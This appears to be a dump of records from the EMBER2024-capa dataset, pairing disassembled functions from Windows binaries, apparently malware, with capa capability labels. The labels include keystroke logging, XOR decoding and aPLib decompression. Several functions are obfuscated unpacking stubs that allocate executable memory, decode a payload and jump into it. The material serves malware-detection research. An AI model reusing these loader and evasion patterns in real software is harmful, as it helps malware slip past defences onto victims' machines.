joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409cb0
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
mov eax, dword [0x4243d4]
sub esp, 0x20
test eax, eax
je 0x409ce6
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x409cda
push 0
push dword [0x4243d4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x4243d4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x4273fc], 0
je 0x409dbb
push ebx
push ebp
push esi
mov eax, 0x414
mov dword [esp + 0xc], 0
push edi
mov edi, dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov word [esp + 0x20], ax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0x4243e8
mov dword [esp + 0x20], 0x420e9c
mov dword [esp + 0x26], 0
mov dword [esp + 0x2a], 0
mov dword [esp + 0x2e], 0x420e9c
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0x4243e8
call ebp
cmp eax, 0xffffffff
je 0x409db7
test al, 0x10
je 0x409db7
push 0x64
call ebx
mov eax, 0x414
mov dword [esp + 0x10], 0
mov word [esp + 0x20], ax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0x4243e8
mov dword [esp + 0x20], 0x420e9c
mov dword [esp + 0x26], 0
mov dword [esp + 0x2a], 0
mov dword [esp + 0x2e], 0x420e9c
call edi
inc esi
cmp esi, 0x14
jl 0x409d54
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x4078f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x4078ff
pop dword [ebp - 0xc]
mov eax, 0x133f2547
sub eax, 0x12feac48
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x7f0717bb
add dword [ebp - 0x1c], 0xcf4b2d90
mov dword [ebp - 0x18], 0x44413391
add dword [ebp - 0x18], 0xedf218b4
mov dword [ebp - 0x14], 0xa019752b
add dword [ebp - 0x14], 0xac32cf03
mov dword [ebp - 0x10], 0x308d9036
add dword [ebp - 0x10], 0xcf726fca
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xd91f440b
add eax, 0x2722ec69
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xef5e5e37
sub dword [ebp - 0x1c], 0x7aebf4e1
mov dword [ebp - 0x18], 0x38630bd0
add dword [ebp - 0x18], 0x90955a5
mov dword [ebp - 0x14], 0x685ed10e
sub dword [ebp - 0x14], 0x4ef64a2
mov dword [ebp - 0x10], 0x8f6829c9
sub dword [ebp - 0x10], 0x8f6829c9
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3d802
push 0
call eax
mov ecx, 0x2e815be9
add ecx, 0xd17eeb5a
xor edi, edi
add edi, eax
mov edx, 0xd9756a6d
sub edx, 0xd932266d
add edx, dword [ebp - 0xc]
mov esi, 0xaccc27b4
add esi, 0xbe38991f
xor dword [ebp - 8], 0xf3341ade
mov ebx, dword [edx]
mov dword [ebp - 8], 0x3d69665f
sub ebx, esi
mov dword [edi], ebx
add dword [ebp - 8], ebx
add edi, 0xfa58a535
add edi, 0x5a75acf
add edx, 0xa02ec2c1
add edx, 0x5fd13d43
loop 0x407a1e
add eax, 0x16f9f2bf
add eax, 0xe9071d20
xor ebx, ebx
add ebx, eax
add eax, 0xfdeab069
sub eax, 0xfdeab064
mov ecx, 0xb4d05296
add ecx, 0x4b6fad6a
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0xa40058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00a401a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa4007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa4006a
add dl, dl
jne 0xa40089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa400dc
xor eax, eax
add dl, dl
jne 0xa40096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa4017d
add dl, dl
jne 0xa400a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa400b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa400bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa400c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa400d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa40075
mov eax, 1
add dl, dl
jne 0xa400ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa400f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa400e1
sub eax, ebx
mov ebx, 1
jne 0xa40128
mov ecx, 1
add dl, dl
jne 0xa4010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa40119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa40105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa40075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa4013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa4014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa40136
cmp eax, 0x7d00
jae 0xa4016d
cmp eax, 0x500
jb 0xa40168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa40075
cmp eax, 0x7f
ja 0xa40170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa40075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa4019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa40075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x1003ed12
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1003ed21
pop dword [ebp - 0x34]
mov eax, 0x1003ed21
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x952db3fc
sub dword [ebp - 0x44], 0x46db6eb1
mov dword [ebp - 0x40], 0x8966c227
add dword [ebp - 0x40], 0xa8cc8a1e
mov dword [ebp - 0x3c], 0x31a7551
add dword [ebp - 0x3c], 0x4931cedd
mov dword [ebp - 0x38], 0xd1e6884f
sub dword [ebp - 0x38], 0xd1e6884f
lea eax, [ebp - 0x44]
push eax
mov eax, 0xe82b0a12
sub eax, 0xd826b90e
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x1450d248
sub dword [ebp - 0x44], 0x9fde68f2
mov dword [ebp - 0x40], 0x875e3a0
sub dword [ebp - 0x40], 0xc709822b
mov dword [ebp - 0x3c], 0x3c95f94e
add dword [ebp - 0x3c], 0x26d9731e
mov dword [ebp - 0x38], 0x3550ecda
add dword [ebp - 0x38], 0xcaaf1326
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x87510542
add eax, 0x88b34b76
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x482e5
push 0
call eax
mov ecx, 0x3f70
xor edi, edi
add edi, eax
mov edx, 0x46854184
sub edx, 0x367df184
add edx, dword [ebp - 0x34]
mov esi, 0x8032f6d6
xor dword [ebp - 4], eax
mov ebx, dword [edx]
add dword [ebp - 0x2c], eax
add ebx, esi
mov dword [edi], ebx
add edi, 4
add edx, 0x4efb71c4
sub edx, 0x4efb71c0
loop 0x1003ee34
add eax, 0xf093
mov ebx, eax
add eax, 0x866d3b49
sub eax, 0x866d3b44
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x407cf0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4c4e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x511274
call fcn.004a7e89
push 0x208
push 0
lea eax, [ebp - 0x21c]
push eax
call fcn.004ab3a0
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x21c]
push edx
mov ecx, dword [ebp + 8]
call fcn.00404700
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x4db1b8
mov ecx, dword [ebp + 8]
call fcn.004056d0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x407f60
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4d4e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov ecx, 0x511274
call fcn.004a7e89
mov ecx, dword [ebp + 8]
call fcn.00404830
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x18]
or eax, 1
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x14]
push edx
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
test eax, eax
je 0x408040
mov dword [ebp - 0x10], 0
jmp 0x407fd7
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x20]
jae 0x408009
imul edx, dword [ebp - 0x10], 0xc
mov eax, dword [ebp - 0x14]
cmp dword [eax + edx + 8], 0
jne 0x408007
imul ecx, dword [ebp - 0x10], 0xc
add ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], eax
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x2c], ecx
jmp 0x408009
jmp 0x407fce
mov edx, dword [ebp - 0x14]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 5
mov edx, dword [ebp - 0x34]
push edx
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x408040
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
call fcn.00405330
mov ecx, dword [ebp - 0x1c]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x408210
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov ecx, 0x511274
call fcn.004a7e89
xor eax, eax
mov dword [ebp - 4], eax
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + 8]
mov byte [ebp + edx - 4], al
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 4], 0x3a
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 4], 0x5c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0xc]
mul dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret

Function at 0x4082f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4db6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x511274
call fcn.004a7e89
mov ecx, dword [ebp + 8]
call fcn.00404830
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x104
push 0
lea ecx, [ebp - 0x124]
push ecx
call fcn.004ab3a0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x124]
push eax
mov ecx, dword [ebp + 8]
call fcn.004052a0
push 2
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00406b70
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
call fcn.00405270
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.00404fb0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4083c0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4e16
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x238
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov ecx, 0x511274
call fcn.004a7e89
mov eax, dword [ebp + 8]
push eax
call fcn.00407cf0
add esp, 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
or ecx, 1
mov dword [ebp - 0x18], ecx
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x408553
lea edx, [ebp - 0x10]
push edx
call fcn.00407f60
add esp, 4
mov dword [ebp - 4], 1
push 0x208
push 0
lea eax, [ebp - 0x244]
push eax
call fcn.004ab3a0
add esp, 0xc
mov dword [ebp - 0x20], 0x104
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x244]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x14]
call fcn.00404700
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
call fcn.004069e0
movzx ecx, al
test ecx, ecx
jne 0x40853b
lea ecx, [ebp - 0x14]
call fcn.004069e0
movzx edx, al
test edx, edx
jne 0x40853b
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.004053a0
add esp, 8
movzx edx, al
test edx, edx
je 0x40853b
lea eax, [ebp - 0x1c]
push eax
call fcn.00408570
add esp, 4
mov byte [ebp - 4], 3
push 0x4daa04
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00405430
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], ecx
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x28]
push edx
lea eax, [ebp - 0x34]
push eax
call fcn.004054d0
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], ecx
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x30]
push edx
mov ecx, dword [ebp + 8]
call fcn.00405270
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x34]
call fcn.00404fb0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x38]
call fcn.00404fb0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c]
call fcn.00404fb0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.00404fb0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00404fb0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x408ad0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, 0x511216
call fcn.004a7e89
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x408afe
xor eax, eax
jmp 0x408b7e
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x408b15
xor eax, eax
jmp 0x408b7e
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x408b61
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x408b61
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x408b38
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x408b6d
xor eax, eax
jmp 0x408b7e
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x408b7b
xor eax, eax
jmp 0x408b7e
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40a4e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4edd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x10], ecx
mov ecx, 0x511828
call fcn.004a7e89
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
push ecx
call fcn.0040a810
add esp, 8
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
call fcn.00409fa0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.0040aaf0
mov dword [ebp - 0x20], 0x40a460
mov eax, dword [ebp - 0x10]
add eax, 4
push eax
push 0
lea ecx, [ebp - 0x14]
call fcn.0040bf90
push eax
mov ecx, dword [ebp - 0x20]
push ecx
push 0
push 0
call fcn.004b62da
add esp, 0x18
mov edx, dword [ebp - 0x10]
mov dword [edx], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
je 0x40a576
lea ecx, [ebp - 0x14]
call fcn.0040c060
jmp 0x40a587
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], 0
push 6
call fcn.004a97d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040aaf0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x40b390
Capabilities:
Check if file exists
Create directory
Delete directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4c6d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov ecx, 0x511838
call fcn.004a7e89
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0x4ddca4
call fcn.00401c20
call fcn.00408790
add esp, 0x18
mov byte [ebp - 0xd], al
movzx eax, byte [ebp - 0xd]
test eax, eax
je 0x40b3e5
mov ecx, dword [ebp + 8]
mov byte [ecx], 0
jmp 0x40b4cc
push 0x4ddca8
lea ecx, [ebp - 0x18]
call fcn.00404700
mov dword [ebp - 4], 0
push str.D:Program_Filesgptchrometmp
lea ecx, [ebp - 0x14]
call fcn.00404700
lea ecx, [ebp - 0x18]
call fcn.00405410
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b44d
push 0
lea ecx, [ebp - 0x18]
call fcn.00405410
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40b445
mov edx, dword [ebp + 8]
mov byte [edx], 1
lea ecx, [ebp - 0x18]
call fcn.00405410
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40b44b
mov eax, dword [ebp + 8]
mov byte [eax], 0
jmp 0x40b4b5
lea ecx, [ebp - 0x14]
call fcn.00405410
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40b483
lea ecx, [ebp - 0x14]
call fcn.00405410
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x40b47b
mov ecx, dword [ebp + 8]
mov byte [ecx], 1
jmp 0x40b481
mov edx, dword [ebp + 8]
mov byte [edx], 0
jmp 0x40b4b5
push 0
lea ecx, [ebp - 0x14]
call fcn.00405410
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40b4af
mov eax, dword [ebp + 8]
mov byte [eax], 1
lea ecx, [ebp - 0x14]
call fcn.00405410
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40b4b5
mov ecx, dword [ebp + 8]
mov byte [ecx], 0
lea ecx, [ebp - 0x14]
call fcn.00404fb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00404fb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4196d0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d5a35
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov dword [ebp - 0x14], ecx
mov ecx, 0x511b41
call fcn.004a7e89
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x465
ja 0x419725
cmp dword [ebp - 0x18], 0x465
je 0x419765
cmp dword [ebp - 0x18], 0x113
je 0x419745
jmp case.0x41973e.2
mov ecx, dword [ebp - 0x18]
sub ecx, 0x466
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 7
ja case.0x41973e.2
mov edx, dword [ebp - 0x18]
jmp dword [edx*4 + 0x419904]
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.00419aa0
mov dword [ebp - 0x24], eax
jmp case.0x41973e.2
mov ecx, dword [ebp - 0x14]
call fcn.0041a040
jmp case.0x41973e.2
push 1
mov ecx, dword [ebp - 0x14]
call fcn.0045f97b
jmp case.0x41973e.2
mov ecx, dword [ebp - 0x14]
mov byte [ecx + 0x7a4], 1
jmp case.0x41973e.2
cmp dword [ebp + 0xc], 0
je 0x4197a9
push 1
push 1
mov ecx, dword [ebp - 0x14]
call fcn.0045fee2
jmp 0x4197d8
push 1
push 0
mov ecx, dword [ebp - 0x14]
call fcn.0045fee2
mov edx, dword [ebp - 0x14]
cmp dword [edx + 0x7cc], 0
je 0x4197d8
push 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x7cc]
call fcn.0045823d
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp case.0x41973e.2
lea ecx, [ebp - 0x1c]
call fcn.00404830
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
shl ecx, 1
push ecx
push str._d__
lea edx, [ebp - 0x1c]
push edx
call fcn.004062a0
add esp, 0xc
mov eax, dword [ebp + 0xc]
shl eax, 1
push eax
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0x7c0]
call fcn.00461d2f
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00404fb0
jmp case.0x41973e.2
cmp dword [ebp + 0xc], 1
jne 0x41984d
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x7a0], 0xffffffdc
cmp dword [ebp + 0xc], 0
je 0x419859
mov byte [ebp - 0xd], 1
jmp 0x41985d
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp - 0xd]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x7c4]
mov eax, dword [ebp - 0x14]
mov edx, dword [edx]
mov ecx, dword [eax + 0x7c4]
mov eax, dword [edx + 0x104]
call eax
jmp case.0x41973e.2
mov ecx, dword [ebp - 0x14]
movzx edx, byte [ecx + 0x772]
test edx, edx
je 0x419898
push 1
mov ecx, dword [ebp - 0x14]
call fcn.0045f97b
jmp case.0x41973e.2
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.00404680
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x20]
call fcn.00405410
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x7c8]
mov eax, dword [ebp - 0x14]
mov edx, dword [edx]
mov ecx, dword [eax + 0x7c8]
mov eax, dword [edx + 0x2c]
call eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00404fb0
jmp case.0x41973e.2
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x10